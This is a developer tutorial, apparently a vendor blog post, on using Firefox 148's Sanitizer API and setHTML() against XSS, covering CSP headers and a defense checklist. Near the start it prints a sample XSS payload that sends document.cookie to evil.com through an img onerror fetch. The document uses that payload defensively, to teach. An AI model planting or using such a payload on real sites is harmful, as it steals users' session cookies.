How to Use the New Sanitizer API for XSS Protection in Firefox 148
Cross-site scripting (XSS) has been a persistent thorn in the side of web developers for decades. Despite being well-understood, it consistently ranks among the top vulnerabilities found in web applications — and the root cause is almost always the same: unsanitized HTML being injected directly into the DOM. Firefox 148's introduction of the standardized Sanitizer API and the setHTML() method represents a meaningful step forward, giving developers a native, browser-enforced way to handle untrusted HTML safely.
In this guide, we'll break down how the Sanitizer API works, why it matters, how to implement it in your projects today, and how to audit your site's overall security posture using the right tools.
Why innerHTML Has Always Been a Security Risk
If you've written JavaScript for any length of time, you've almost certainly written something like this:
document.getElementById('output').innerHTML = userInput;
It's fast, it's convenient, and it's dangerous. When userInput comes from an external source — a query parameter, a database value, an API response, user-submitted content — you've potentially handed an attacker a direct line into your DOM.
A classic XSS payload looks deceptively simple:
<img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)">
If that string lands in an innerHTML assignment without sanitization, the browser executes it. The user's session token, authentication cookies, or any sensitive data visible to the page is now compromised.
The traditional defense has been to use a third-party library like DOMPurify, which does an excellent job of stripping dangerous content. But relying on a JavaScript library means keeping it updated, trusting its implementation, and adding bundle weight. The Sanitizer API moves this responsibility into the browser itself — where it arguably belongs.
What Is the Sanitizer API?
The Sanitizer API is a browser-native interface that lets you safely parse and insert HTML into the DOM. Instead of parsing HTML yourself (which is error-prone) or relying on a library, you delegate the sanitization to the browser's own HTML parser and security logic.
Firefox 148 is the first browser to ship the finalized, standardized version of this API. The core method you'll be using is setHTML(), which works as a safer replacement for innerHTML.
Here's the simplest possible example:
const el = document.getElementById('output');
el.setHTML('<p>Hello <b>world</b></p><script>alert(1)</script>');
The <script> tag is stripped automatically. The <p> and <b> tags survive because they're safe. You get the rendered HTML you intended without the dangerous parts.
The setHTML() Method Signature
element.setHTML(input, options);
- input: The HTML string you want to insert.
- options: An optional object where you can pass a custom
Sanitizerinstance.
By default, setHTML() uses a built-in sanitizer configuration that removes all script execution vectors — event handlers, <script> tags, javascript: URLs, and similar patterns.
Creating and Configuring a Sanitizer Instance
The Sanitizer class lets you define exactly what HTML is allowed through. You can be permissive or highly restrictive depending on your use case.
Default Sanitizer (Most Common Use Case)
const sanitizer = new Sanitizer();
element.setHTML(untrustedHTML, { sanitizer });
This uses the browser's default safe configuration. Most applications will be perfectly served by this.
Allowlist-Based Configuration
If you want to restrict the allowed elements further — for example, you're rendering user comments and only want basic formatting — you can define an allowlist:
const sanitizer = new Sanitizer({
allowElements: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
allowAttributes: {
'a': ['href', 'title'],
}
});
element.setHTML(userComment, { sanitizer });
This configuration allows paragraphs, basic formatting, and links, but strips everything else — including <div>, <img>, <table>, and any element not on your list.
Blocklist-Based Configuration
Alternatively, you can start from the default safe set and remove specific elements:
const sanitizer = new Sanitizer({
blockElements: ['div', 'span'],
});
This is useful when you want to prevent layout manipulation while still allowing most safe content.
Dropping Elements vs. Blocking Elements
There's an important distinction here:
- blockElements: The element itself is removed, but its children are preserved and inserted.
- dropElements: Both the element and all its children are removed entirely.
const sanitizer = new Sanitizer({
dropElements: ['style', 'form', 'input'],
});
If you're rendering user-supplied HTML in a context where CSS injection or form phishing is a concern, dropElements is the right tool.
setHTMLUnsafe() — When You Need More Control
The API also includes setHTMLUnsafe(), which bypasses sanitization entirely. This sounds alarming, but it exists for legitimate use cases where you've already sanitized content server-side and need to insert it without double-processing.
element.setHTMLUnsafe(trustedHTML);
The name is intentional — it signals clearly to code reviewers that this insertion is intentionally unsanitized. Think of it as a documented escape hatch rather than a footgun. It should only ever be used with content you fully control and have already validated.
Feature Detection and Progressive Enhancement
Since Firefox 148 is the first browser to ship this API in its final standardized form, you'll need to handle browsers that don't support it yet. The right approach is feature detection with a fallback to DOMPurify or another sanitization strategy:
function safeSetHTML(element, html, sanitizerOptions = {}) {
if (typeof element.setHTML === 'function') {
// Native Sanitizer API available
const sanitizer = new Sanitizer(sanitizerOptions);
element.setHTML(html, { sanitizer });
} else {
// Fallback to DOMPurify
if (typeof DOMPurify !== 'undefined') {
element.innerHTML = DOMPurify.sanitize(html);
} else {
// Last resort: text only
element.textContent = html;
}
}
}
This pattern lets you take advantage of the native API where it's available while maintaining compatibility across all browsers. As adoption grows, you can eventually drop the fallback.
Practical Implementation: A Comment Section Example
Let's walk through a realistic scenario — rendering user comments in a web application.
Before (Vulnerable)
async function loadComments(postId) {
const response = await fetch(`/api/comments/${postId}`);
const comments = await response.json();
const container = document.getElementById('comments');
container.innerHTML = comments.map(c => `
<div class="comment">
<strong>${c.author}</strong>
<p>${c.body}</p>
</div>
`).join('');
}
This is vulnerable on multiple levels. Both c.author and c.body could contain malicious HTML.
After (Using Sanitizer API)
async function loadComments(postId) {
const response = await fetch(`/api/comments/${postId}`);
const comments = await response.json();
const container = document.getElementById('comments');
container.innerHTML = ''; // Clear existing content safely
const sanitizer = new Sanitizer({
allowElements: ['strong', 'em', 'p', 'br', 'a'],
allowAttributes: { 'a': ['href'] }
});
comments.forEach(comment => {
const wrapper = document.createElement('div');
wrapper.className = 'comment';
const authorEl = document.createElement('strong');
authorEl.textContent = comment.author; // textContent for plain strings
const bodyEl = document.createElement('p');
bodyEl.setHTML(comment.body, { sanitizer }); // setHTML for rich content
wrapper.appendChild(authorEl);
wrapper.appendChild(bodyEl);
container.appendChild(wrapper);
});
}
Notice the use of textContent for the author name (which should always be plain text) and setHTML() only where rich content is genuinely needed.
Content Security Policy: Your Second Line of Defense
The Sanitizer API is a powerful tool, but it works best as part of a layered security strategy. Content Security Policy (CSP) is your complementary defense — even if an XSS payload somehow makes it into the DOM, a properly configured CSP can prevent it from executing or exfiltrating data.
A basic CSP that blocks inline scripts looks like this:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
For applications that use nonces for inline scripts:
Content-Security-Policy: script-src 'nonce-{random-value}' 'strict-dynamic'; object-src 'none';
CSP headers, along with other security headers like X-Content-Type-Options, X-Frame-Options, and Permissions-Policy, form the outer shell of your application's defenses. You can audit all of these headers on your live site using the Vulnerability Scanner, which checks for missing or misconfigured security headers and flags common XSS exposure points.
Auditing Your Site's Security Headers
Knowing your theory is one thing — verifying your actual deployment is another. Security headers are notoriously easy to misconfigure or accidentally omit during deployments.
The Vulnerability Scanner analyzes your site's HTTP response headers and flags issues like:
- Missing
Content-Security-Policy - Absent
X-Content-Type-Options: nosniff - No
X-Frame-Optionsorframe-ancestorsdirective - Weak or missing
Referrer-Policy - Exposed server version information
Running this check before and after a deployment gives you a quick verification that your security configuration is intact. It's particularly useful when your site sits behind a CDN or reverse proxy, where headers can be silently dropped or overwritten.
SSL and HTTPS: Non-Negotiable Context for XSS Defense
XSS mitigations are significantly weakened if your site isn't served over HTTPS. A man-in-the-middle attacker on an HTTP connection can inject scripts directly into your page's HTML before it even reaches the browser — bypassing DOM-level sanitization entirely.
Ensuring your SSL certificate is valid, properly configured, and not approaching expiration is fundamental. You can verify this with the SSL Certificate Checker, which shows certificate validity, expiration dates, issuer information, and whether your certificate chain is correctly configured. An expired or misconfigured certificate can also cause browsers to display security warnings that undermine user trust.
Checking Your Tech Stack for Known Vulnerable Packages
XSS vulnerabilities don't only come from your own code. Outdated JavaScript frameworks, CMS plugins, and third-party libraries can introduce vulnerabilities that are already publicly documented. Understanding what's running on your site is the first step to knowing what to patch.
The Tech Stack Detector identifies the frameworks, libraries, CMS platforms, and analytics tools running on a given URL. If you're running an older version of React, jQuery, or a WordPress plugin with a known XSS vulnerability, this tool surfaces that information so you can act on it.
SEO Implications of Security Vulnerabilities
It's worth noting that XSS vulnerabilities and security issues have real SEO consequences. Google's Safe Browsing system actively flags sites that have been compromised and used to serve malicious content. A site that gets flagged can see its search rankings drop significantly, and users will see interstitial warnings in Chrome before visiting.
Running a regular SEO Audit won't directly detect XSS vulnerabilities, but it will surface signs of compromise — unexpected meta tags, injected content, unusual redirects, or modified page titles that attackers sometimes insert as part of SEO spam campaigns. If your site has been compromised, these are often the first visible symptoms.
Summary: A Defense-in-Depth Checklist
Here's a practical checklist for applying everything covered in this article:
Code-Level Defenses
- Replace
innerHTMLassignments withsetHTML()where rich HTML is needed - Use
textContentfor plain text insertion - Configure
Sanitizerinstances with appropriate allowlists for your use case - Add DOMPurify as a fallback for browsers without native Sanitizer API support
- Audit all places in your codebase where user input touches the DOM
HTTP Header Defenses
- Implement a
Content-Security-Policyheader - Add
X-Content-Type-Options: nosniff - Configure
X-Frame-Optionsor CSPframe-ancestors - Set a
Referrer-Policy - Verify headers are present after each deployment
Infrastructure Defenses
- Ensure HTTPS is enforced with valid SSL certificates
- Use HSTS to prevent protocol downgrade attacks
- Keep all frameworks, CMS platforms, and libraries updated
Conclusion
The Sanitizer API and setHTML() represent exactly the kind of progress the web platform needs — moving security primitives into the browser where they can be maintained, updated, and enforced consistently. Firefox 148 shipping the standardized version is a significant milestone, and as other browsers follow, the path to safe HTML insertion will become considerably simpler.
That said, no single API eliminates XSS risk on its own. The strongest applications combine DOM-level sanitization with strict CSP headers, HTTPS enforcement, and regular auditing of both code and infrastructure.
OpDeck gives you the tools to audit your site's security posture quickly and without complex setup. From the Vulnerability Scanner for checking security headers to the SSL Certificate Checker for verifying your HTTPS configuration and the Tech Stack Detector for identifying outdated dependencies — run these checks on your site today and get a clear picture of where your defenses stand.
Try these tools
API Response Time
Measure and monitor API endpoint response times and performance
AI Content Analyzer
Analyze content quality, detect AI-generated text, and get improvement suggestions
Cloudflare Detection
Check if a website is using Cloudflare and its configuration
Vulnerability Scanner
Scan WordPress and Magento sites for known vulnerabilities and security misconfigurations